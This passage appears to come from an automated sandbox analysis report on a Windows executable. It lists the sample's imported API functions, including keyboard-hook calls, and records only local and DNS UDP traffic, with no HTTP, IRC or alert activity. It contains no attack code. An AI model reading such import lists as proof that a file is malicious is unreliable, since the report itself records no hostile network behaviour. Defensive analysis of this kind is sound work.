• 0x46b1c0 RaiseException
• 0x46b1c4 GetStdHandle
Library user32.dll:
• 0x46b1cc GetKeyboardType
• 0x46b1d0 LoadStringA
• 0x46b1d4 MessageBoxA
• 0x46b1d8 CharNextA
Library advapi32.dll:
• 0x46b1e0 RegQueryValueExA
• 0x46b1e4 RegOpenKeyExA
• 0x46b1e8 RegCloseKey
Library oleaut32.dll:
• 0x46b1f0 SysFreeString
• 0x46b1f4 SysReAllocStringLen
• 0x46b1f8 SysAllocStringLen
Library kernel32.dll:
• 0x46b200 TlsSetValue
• 0x46b204 TlsGetValue
• 0x46b208 LocalAlloc
• 0x46b20c GetModuleHandleA
Library advapi32.dll:
• 0x46b214 RegQueryValueExA
• 0x46b218 RegOpenKeyExA
• 0x46b21c RegCloseKey
Library kernel32.dll:
• 0x46b224 lstrcpyA
• 0x46b228 WriteFile
• 0x46b230 WaitForSingleObject
• 0x46b234 VirtualQuery
• 0x46b238 VirtualAlloc
• 0x46b23c Sleep
• 0x46b240 SizeofResource
• 0x46b244 SetThreadLocale
• 0x46b248 SetFilePointer
• 0x46b24c SetEvent
• 0x46b250 SetErrorMode
• 0x46b254 SetEndOfFile
• 0x46b258 ResetEvent
• 0x46b25c ReadFile
• 0x46b260 MulDiv
• 0x46b264 LockResource
• 0x46b268 LoadResource
• 0x46b26c LoadLibraryA
• 0x46b278 GlobalUnlock
• 0x46b27c GlobalReAlloc
• 0x46b280 GlobalHandle
• 0x46b284 GlobalLock
• 0x46b288 GlobalFree
• 0x46b28c GlobalFindAtomA
• 0x46b290 GlobalDeleteAtom
• 0x46b294 GlobalAlloc
• 0x46b298 GlobalAddAtomA
• 0x46b29c GetVersionExA
• 0x46b2a0 GetVersion
• 0x46b2a4 GetTickCount
• 0x46b2a8 GetThreadLocale
• 0x46b2b0 GetSystemTime
• 0x46b2b4 GetSystemInfo
• 0x46b2b8 GetStringTypeExA
• 0x46b2bc GetStdHandle
• 0x46b2c0 GetProcAddress
• 0x46b2c4 GetModuleHandleA
• 0x46b2c8 GetModuleFileNameA
• 0x46b2cc GetLocaleInfoA
• 0x46b2d0 GetLocalTime
• 0x46b2d4 GetLastError
• 0x46b2d8 GetFullPathNameA
• 0x46b2dc GetFileAttributesA
• 0x46b2e0 GetDiskFreeSpaceA
• 0x46b2e4 GetDateFormatA
• 0x46b2e8 GetCurrentThreadId
• 0x46b2ec GetCurrentProcessId
• 0x46b2f0 GetCPInfo
• 0x46b2f4 GetACP
• 0x46b2f8 FreeResource
• 0x46b2fc InterlockedExchange
• 0x46b300 FreeLibrary
• 0x46b304 FormatMessageA
• 0x46b308 FindResourceA
• 0x46b30c FindFirstFileA
• 0x46b310 FindClose
• 0x46b31c ExitThread
• 0x46b320 EnumCalendarInfoA
• 0x46b32c CreateThread
• 0x46b330 CreateFileA
• 0x46b334 CreateEventA
• 0x46b338 CompareStringA
• 0x46b33c CloseHandle
Library version.dll:
• 0x46b344 VerQueryValueA
• 0x46b34c GetFileVersionInfoA
Library gdi32.dll:
• 0x46b354 UnrealizeObject
• 0x46b358 StretchBlt
• 0x46b35c SetWindowOrgEx
• 0x46b360 SetWinMetaFileBits
• 0x46b364 SetViewportOrgEx
• 0x46b368 SetTextColor
• 0x46b36c SetStretchBltMode
• 0x46b370 SetROP2
• 0x46b374 SetPixel
• 0x46b378 SetEnhMetaFileBits
• 0x46b37c SetDIBColorTable
• 0x46b380 SetBrushOrgEx
• 0x46b384 SetBkMode
• 0x46b388 SetBkColor
• 0x46b38c SelectPalette
• 0x46b390 SelectObject
• 0x46b394 SelectClipRgn
• 0x46b398 SaveDC
• 0x46b39c RestoreDC
• 0x46b3a0 Rectangle
• 0x46b3a4 RectVisible
• 0x46b3a8 RealizePalette
• 0x46b3ac Polyline
• 0x46b3b0 PlayEnhMetaFile
• 0x46b3b4 PatBlt
• 0x46b3b8 MoveToEx
• 0x46b3bc MaskBlt
• 0x46b3c0 LineTo
• 0x46b3c4 IntersectClipRect
• 0x46b3c8 GetWindowOrgEx
• 0x46b3cc GetWinMetaFileBits
• 0x46b3d0 GetTextMetricsA
• 0x46b3dc GetStockObject
• 0x46b3e0 GetPixel
• 0x46b3e4 GetPaletteEntries
• 0x46b3e8 GetObjectA
• 0x46b3f4 GetEnhMetaFileBits
• 0x46b3f8 GetDeviceCaps
• 0x46b3fc GetDIBits
• 0x46b400 GetDIBColorTable
• 0x46b404 GetDCOrgEx
• 0x46b40c GetClipBox
• 0x46b410 GetBrushOrgEx
• 0x46b414 GetBitmapBits
• 0x46b418 ExcludeClipRect
• 0x46b41c DeleteObject
• 0x46b420 DeleteEnhMetaFile
• 0x46b424 DeleteDC
• 0x46b428 CreateSolidBrush
• 0x46b42c CreateRectRgn
• 0x46b430 CreatePenIndirect
• 0x46b434 CreatePalette
• 0x46b43c CreateFontIndirectA
• 0x46b440 CreateDIBitmap
• 0x46b444 CreateDIBSection
• 0x46b448 CreateCompatibleDC
• 0x46b450 CreateBrushIndirect
• 0x46b454 CreateBitmap
• 0x46b458 CopyEnhMetaFileA
• 0x46b45c BitBlt
Library opengl32.dll:
• 0x46b464 wglDeleteContext
Library user32.dll:
• 0x46b46c CreateWindowExA
• 0x46b470 WindowFromPoint
• 0x46b474 WinHelpA
• 0x46b478 WaitMessage
• 0x46b47c UpdateWindow
• 0x46b480 UnregisterClassA
• 0x46b484 UnhookWindowsHookEx
• 0x46b488 TranslateMessage
• 0x46b490 TrackPopupMenu
• 0x46b498 ShowWindow
• 0x46b49c ShowScrollBar
• 0x46b4a0 ShowOwnedPopups
• 0x46b4a4 ShowCursor
• 0x46b4a8 SetWindowsHookExA
• 0x46b4ac SetWindowPos
• 0x46b4b0 SetWindowPlacement
• 0x46b4b4 SetWindowLongA
• 0x46b4b8 SetTimer
• 0x46b4bc SetScrollRange
• 0x46b4c0 SetScrollPos
• 0x46b4c4 SetScrollInfo
• 0x46b4c8 SetRect
• 0x46b4cc SetPropA
• 0x46b4d0 SetParent
• 0x46b4d4 SetMenuItemInfoA
• 0x46b4d8 SetMenu
• 0x46b4dc SetForegroundWindow
• 0x46b4e0 SetFocus
• 0x46b4e4 SetCursor
• 0x46b4e8 SetClassLongA
• 0x46b4ec SetCapture
• 0x46b4f0 SetActiveWindow
• 0x46b4f4 SendMessageA
• 0x46b4f8 ScrollWindow
• 0x46b4fc ScreenToClient
• 0x46b500 RemovePropA
• 0x46b504 RemoveMenu
• 0x46b508 ReleaseDC
• 0x46b50c ReleaseCapture
• 0x46b518 RegisterClassA
• 0x46b51c RedrawWindow
• 0x46b520 PtInRect
• 0x46b524 PostQuitMessage
• 0x46b528 PostMessageA
• 0x46b52c PeekMessageA
• 0x46b530 OffsetRect
• 0x46b534 OemToCharA
• 0x46b538 MessageBoxA
• 0x46b53c MapWindowPoints
• 0x46b540 MapVirtualKeyA
• 0x46b544 LoadStringA
• 0x46b548 LoadKeyboardLayoutA
• 0x46b54c LoadIconA
• 0x46b550 LoadCursorA
• 0x46b554 LoadBitmapA
• 0x46b558 KillTimer
• 0x46b55c IsZoomed
• 0x46b560 IsWindowVisible
• 0x46b564 IsWindowEnabled
• 0x46b568 IsWindow
• 0x46b56c IsRectEmpty
• 0x46b570 IsIconic
• 0x46b574 IsDialogMessageA
• 0x46b578 IsChild
• 0x46b57c InvalidateRect
• 0x46b580 IntersectRect
• 0x46b584 InsertMenuItemA
• 0x46b588 InsertMenuA
• 0x46b58c InflateRect
• 0x46b594 GetWindowTextA
• 0x46b598 GetWindowRect
• 0x46b59c GetWindowPlacement
• 0x46b5a0 GetWindowLongA
• 0x46b5a4 GetWindowDC
• 0x46b5a8 GetTopWindow
• 0x46b5ac GetSystemMetrics
• 0x46b5b0 GetSystemMenu
• 0x46b5b4 GetSysColorBrush
• 0x46b5b8 GetSysColor
• 0x46b5bc GetSubMenu
• 0x46b5c0 GetScrollRange
• 0x46b5c4 GetScrollPos
• 0x46b5c8 GetScrollInfo
• 0x46b5cc GetPropA
• 0x46b5d0 GetParent
• 0x46b5d4 GetWindow
• 0x46b5d8 GetMenuStringA
• 0x46b5dc GetMenuState
• 0x46b5e0 GetMenuItemInfoA
• 0x46b5e4 GetMenuItemID
• 0x46b5e8 GetMenuItemCount
• 0x46b5ec GetMenu
• 0x46b5f0 GetLastActivePopup
• 0x46b5f4 GetKeyboardState
• 0x46b5fc GetKeyboardLayout
• 0x46b600 GetKeyState
• 0x46b604 GetKeyNameTextA
• 0x46b608 GetIconInfo
• 0x46b60c GetForegroundWindow
• 0x46b610 GetFocus
• 0x46b614 GetDlgItem
• 0x46b618 GetDesktopWindow
• 0x46b61c GetDCEx
• 0x46b620 GetDC
• 0x46b624 GetCursorPos
• 0x46b628 GetCursor
• 0x46b62c GetClipboardData
• 0x46b630 GetClientRect
• 0x46b634 GetClassNameA
• 0x46b638 GetClassInfoA
• 0x46b63c GetCapture
• 0x46b640 GetActiveWindow
• 0x46b644 FrameRect
• 0x46b648 FindWindowA
• 0x46b64c FillRect
• 0x46b650 EqualRect
• 0x46b654 EnumWindows
• 0x46b658 EnumThreadWindows
• 0x46b65c EndPaint
• 0x46b660 EndDeferWindowPos
• 0x46b664 EnableWindow
• 0x46b668 EnableScrollBar
• 0x46b66c EnableMenuItem
• 0x46b670 DrawTextA
• 0x46b674 DrawMenuBar
• 0x46b678 DrawIconEx
• 0x46b67c DrawIcon
• 0x46b680 DrawFrameControl
• 0x46b684 DrawFocusRect
• 0x46b688 DrawEdge
• 0x46b68c DispatchMessageA
• 0x46b690 DestroyWindow
• 0x46b694 DestroyMenu
• 0x46b698 DestroyIcon
• 0x46b69c DestroyCursor
• 0x46b6a0 DeleteMenu
• 0x46b6a4 DeferWindowPos
• 0x46b6a8 DefWindowProcA
• 0x46b6ac DefMDIChildProcA
• 0x46b6b0 DefFrameProcA
• 0x46b6b4 CreatePopupMenu
• 0x46b6b8 CreateMenu
• 0x46b6bc CreateIcon
• 0x46b6c0 ClientToScreen
• 0x46b6c4 CheckMenuItem
• 0x46b6c8 CallWindowProcA
• 0x46b6cc CallNextHookEx
• 0x46b6d0 BeginPaint
• 0x46b6d4 BeginDeferWindowPos
• 0x46b6d8 CharNextA
• 0x46b6dc CharLowerBuffA
• 0x46b6e0 CharLowerA
• 0x46b6e4 CharToOemA
• 0x46b6e8 AdjustWindowRectEx
Library kernel32.dll:
• 0x46b6f4 Sleep
Library oleaut32.dll:
• 0x46b6fc SafeArrayPtrOfIndex
• 0x46b700 SafeArrayGetUBound
• 0x46b704 SafeArrayGetLBound
• 0x46b708 SafeArrayCreate
• 0x46b70c VariantChangeType
• 0x46b710 VariantCopy
• 0x46b714 VariantClear
• 0x46b718 VariantInit
Library comctl32.dll:
• 0x46b728 ImageList_Write
• 0x46b72c ImageList_Read
• 0x46b73c ImageList_DragMove
• 0x46b740 ImageList_DragLeave
• 0x46b744 ImageList_DragEnter
• 0x46b748 ImageList_EndDrag
• 0x46b74c ImageList_BeginDrag
• 0x46b750 ImageList_Remove
• 0x46b754 ImageList_DrawEx
• 0x46b758 ImageList_Replace
• 0x46b75c ImageList_Draw
• 0x46b76c ImageList_Add
• 0x46b774 ImageList_Destroy
• 0x46b778 ImageList_Create
• 0x46b77c InitCommonControls
Library comdlg32.dll:
• 0x46b784 GetOpenFileNameA

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 49235 114.114.114.114 53
192.168.56.101 55368 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 57874 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 50002 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 51378 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 51963 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 57756 224.0.0.252 5355
192.168.56.101 60384 224.0.0.252 5355
192.168.56.101 61680 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 50535 239.255.255.250 3702

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.